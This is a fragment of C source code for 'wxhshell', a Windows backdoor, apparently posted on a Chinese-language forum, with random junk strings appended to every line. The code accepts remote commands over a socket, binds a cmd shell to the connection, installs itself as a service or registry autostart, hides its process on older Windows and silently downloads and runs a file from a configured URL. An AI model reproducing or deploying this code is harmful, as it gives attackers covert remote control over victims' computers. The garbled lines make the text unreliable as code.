  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &@fW6},iW  
  } ykD-L^}  
  else { @r3,|tkrz  
DT[WO_=  
    switch(cmd[0]) { wuKr 9W9Xa  
  ;&`6b:ug  
  // 帮助 Hd89./v`:  
  case '?': { \W+Hzf] W#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t-?#x   
    break; 80"oT'ZFh  
  } h {VdW}g  
  // 安装 St;@ZV  
  case 'i': { N?><%fra  
    if(Install()) ,)PpE&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q3rLCg,;  
    else +@qIDUiF3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m_h$fT8 _  
    break; Q9{f'B  
    } NuR3]Ja\0  
  // 卸载 H?wf%0  
  case 'r': { LX{mr{  
    if(Uninstall()) K96N{"{iI%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yM# %UeZ\  
    else >oL| nwn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hUe\sv!x?  
    break; k%?qN,Cl  
    } C=x70Y/  
  // 显示 wxhshell 所在路径 +c' n,O~3  
  case 'p': { tu6<>  
    char svExeFile[MAX_PATH]; C@!bd+'  
    strcpy(svExeFile,"\n\r"); B_S))3   
      strcat(svExeFile,ExeFile); :4[_&]H  
        send(wsh,svExeFile,strlen(svExeFile),0); FXh*!%"*  
    break; <$Dj ags,F  
    } N14Q4v-*x  
  // 重启 @nOuFX4  
  case 'b': { {=6CL'_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K)GpQ|4:<  
    if(Boot(REBOOT)) )0zg1z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h(p c GE  
    else { z-^/<u1p  
    closesocket(wsh); J+l#!gk$!  
    ExitThread(0); H^<?h6T  
    } uLr-!T  
    break; K6s tkDhb  
    } &neB$m3y  
  // 关机 ?KG4Z  
  case 'd': { >OKc\m2%Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !im%t9  
    if(Boot(SHUTDOWN)) 00pe4^U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??z&w`Yy,  
    else { /$^SiE+N  
    closesocket(wsh); |y&vMx~t  
    ExitThread(0); 0Ok[`r`  
    } uTvf[%EHW  
    break; Ls'8  
    } (5kL6d2  
  // 获取shell qRXHaQi@9  
  case 's': { nPhREn!  
    CmdShell(wsh); BC R]K  
    closesocket(wsh); JPpNCC.b  
    ExitThread(0); zS '{F>w  
    break; Tsocc5gWZ*  
  } WS"v"J%  
  // 退出 f{U,kCv  
  case 'x': { AmK g;9LS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oI"gQFGu`u  
    CloseIt(wsh); U04)XfO;]  
    break; ~*L@|?  
    } S2?)Sb`  
  // 离开 xP &@|Ag  
  case 'q': { c3*9{Il^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A_+*b [P  
    closesocket(wsh); o3HS|  
    WSACleanup(); =z'533C  
    exit(1); EUS^Gtc  
    break; =Ds&ArG  
        } A:*$rHbzl  
  } M1I4Ot  
  } d.k'\1o  
Pt7C/ qM/  
  // 提示信息 1pT/`x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5#::42oE  
} vqo ~?9z[e  
  } Z|j\_VKhl  
@}{Fw;,(7n  
  return; p<&dy^mS  
} 'Me(qpsq  
Y{L|ja%9?  
// shell模块句柄 j&0t!f.Rv  
int CmdShell(SOCKET sock) a]4|XJ_  
{ EHm:&w  
STARTUPINFO si; PRK*7-(  
ZeroMemory(&si,sizeof(si)); .&/A!3pW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kS_3 7-;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -;$jo-  
PROCESS_INFORMATION ProcessInfo; +'UxO'v3]  
char cmdline[]="cmd"; uR82},r$m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dfs1BV'  
  return 0; r8!M8Sc  
} )`zfDio-1V  
Y 4*?QBYA  
// 自身启动模式  DIh[%  
int StartFromService(void) E9j(%kQ2  
{ LsNJ3oy  
typedef struct i(kr#XsU  
{ qGie~S ##  
  DWORD ExitStatus; fwaM;YN_  
  DWORD PebBaseAddress; bM $WU?Z  
  DWORD AffinityMask; 1JN/oq;  
  DWORD BasePriority; XU$\.g p-  
  ULONG UniqueProcessId; G_?qY#"(  
  ULONG InheritedFromUniqueProcessId; hj[sxC>z5  
}   PROCESS_BASIC_INFORMATION; #^q@ra  
V,:~FufM^  
PROCNTQSIP NtQueryInformationProcess; 8C2!Wwz`J8  
m`8tHHF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]yA_N>k2K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &r V  
Q3x.qz  
  HANDLE             hProcess; sg,9{R ^  
  PROCESS_BASIC_INFORMATION pbi; ~ *P9_<  
[E/8E h<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ow,=M%x"0  
  if(NULL == hInst ) return 0; SL>0_  
Y--Uo|H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3/2G~$C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a5%IjgQ&z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g [+_T{  
sxQMfbN  
  if (!NtQueryInformationProcess) return 0; 5K?%Eo72!=  
>"+bL6#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AN-;*n<'  
  if(!hProcess) return 0; h`/1JjP  
+jX.::UPm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;923^*\:F{  
PQ[x A*  
  CloseHandle(hProcess); RDQK_Ef:  
!Ql&Ls  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O PVc T  
if(hProcess==NULL) return 0; Tta+qjr  
W=T,hOyh<W  
HMODULE hMod; 5*7 \Yjk?  
char procName[255]; /|{~GD +A&  
unsigned long cbNeeded; Tof H =d  
h^"OC$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o9uir"=  
}z8HS< #Q  
  CloseHandle(hProcess); B":u5_B  
~b.e9FhdA  
if(strstr(procName,"services")) return 1; // 以服务启动 uPtS.j=  
tXnD>H YV  
  return 0; // 注册表启动 9q !./)  
} G8_|w6  
Gfn?1Kt{  
// 主模块 p-o!K\o-1  
int StartWxhshell(LPSTR lpCmdLine) " )_-L8  
{ Rc k k  
  SOCKET wsl; |VD}:  
BOOL val=TRUE; |*WE@L5  
  int port=0; w(Hio-l=  
  struct sockaddr_in door; -Lbi eS%  
!c8hER!  
  if(wscfg.ws_autoins) Install(); 1Qz1 Ehz>  
r*t\\2  
port=atoi(lpCmdLine); ==pGRauq  
{y k0Zef_  
if(port<=0) port=wscfg.ws_port; c*#*8R9.y  
Xi!`+N4  
  WSADATA data; e[a?5,s2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #$[}JiuL/  
O}IRM|r"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z(&~O;;N#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k3wAbGp  
  door.sin_family = AF_INET; oCftI':@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $pg1Av7l  
  door.sin_port = htons(port); `upxM0gc  
A(Ss:7({  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u9}k^W)E  
closesocket(wsl); Iq[Z5k(K  
return 1; >C|i^4ppI  
} x#{.mN  
9G@ J#vsqr  
  if(listen(wsl,2) == INVALID_SOCKET) { 5==}8<$  
closesocket(wsl); ZNEWUt{+;^  
return 1; CUR70[pB)  
} $h( B2  
  Wxhshell(wsl); :"oQ _bLT  
  WSACleanup(); l6lyRJ  
<) ` ?s  
return 0; aA-gl9  
_v9P0W^.7  
} |NZVm}T  
 \tWFz(  
// 以NT服务方式启动 VTt{ 0 ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?{ 0MF  
{ J!GWP:b3  
DWORD   status = 0; U- a+LS  
  DWORD   specificError = 0xfffffff; U<*8KiI  
nd[{DF?)/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TEK]$%2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c= }#8d.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R}-<ZJe  
  serviceStatus.dwWin32ExitCode     = 0; > v~?Vd(  
  serviceStatus.dwServiceSpecificExitCode = 0; VkNg Vjg  
  serviceStatus.dwCheckPoint       = 0; TvzqJ=  
  serviceStatus.dwWaitHint       = 0; tJQFhY  
RnX:T)+o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h!L/ZeRaV  
  if (hServiceStatusHandle==0) return; zNs8yMnFr  
BSGC.>$s  
status = GetLastError(); K; +w'/{  
  if (status!=NO_ERROR) &ZRriqsQg  
{ x@ZxV*T^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VqeK~,}  
    serviceStatus.dwCheckPoint       = 0; SeC[,  
    serviceStatus.dwWaitHint       = 0; M%evk4_27  
    serviceStatus.dwWin32ExitCode     = status; XRMYR97  
    serviceStatus.dwServiceSpecificExitCode = specificError; &C.{7ZNt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V4PV@{G  
    return; ;e>pu"#  
  } k-$5H~(PZ  
?J<V-,i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f+/AD  
  serviceStatus.dwCheckPoint       = 0; R*l#[D5A  
  serviceStatus.dwWaitHint       = 0; ._uXK[c7P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6,707h  
} z)RJUmY3B  
W_%p'8,  
// 处理NT服务事件,比如:启动、停止 e-Xr^@M*Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SpM|b5c5  
{ xIN&>D'|N  
switch(fdwControl) w$X"E*~>8  
{ ,[ UqUEO  
case SERVICE_CONTROL_STOP: 6z6\-45  
  serviceStatus.dwWin32ExitCode = 0; g9A8b(>F&@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (V:z7  
  serviceStatus.dwCheckPoint   = 0; |# _F  
  serviceStatus.dwWaitHint     = 0; J-6l<%962%  
  { ^ucmScl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m zh8<w?ns  
  } +:a#+]g  
  return; x:7"/H|  
case SERVICE_CONTROL_PAUSE:  T\(w}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n#2tFuPE  
  break; >9Yo:b:f  
case SERVICE_CONTROL_CONTINUE: "Cj {Z@n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (;9-8Y&_d  
  break; ; i)NP X  
case SERVICE_CONTROL_INTERROGATE: }#u.Of`6"  
  break; K}vP0O}  
}; o =oXL2}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *{t]fds  
} Ihd{ @6m  
[MQU~+]  
// 标准应用程序主函数 m| /?((s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9BZyCz  
{ 6.!aJJLN  
:7WeR0*%  
// 获取操作系统版本 \E(Negt7  
OsIsNt=GetOsVer(); {Wi)/B}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }{R?i,j(  
LpQ=Y]{j  
  // 从命令行安装 s=Cu-.~L  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9JDdOjqo  
BF="gZoU<  
  // 下载执行文件 lU`}  
if(wscfg.ws_downexe) { \>DMN #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m@Q%)sc)  
  WinExec(wscfg.ws_filenam,SW_HIDE); L@|xpq  
} ujLz<5gKuO  
=tKb7:KU  
if(!OsIsNt) { ?;bsg 9  
// 如果时win9x,隐藏进程并且设置为注册表启动 [P3].#"]M=  
HideProc(); ^Fn~@'  
StartWxhshell(lpCmdLine); QY^v*+lr\  
} l_ES $%d  
else N!{waPbPi  
  if(StartFromService()) RT`jWWh*Lo  
  // 以服务方式启动 (}4]U=/nV  
  StartServiceCtrlDispatcher(DispatchTable); z#( `H6n:  
else fz[-pJ5[  
  // 普通方式启动 38gHM9T xh  
  StartWxhshell(lpCmdLine); $`wo8A|)  
IyV%tOy  
return 0; [PhT zXt  
}
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只看该作者 1 发表于: 2006-10-10
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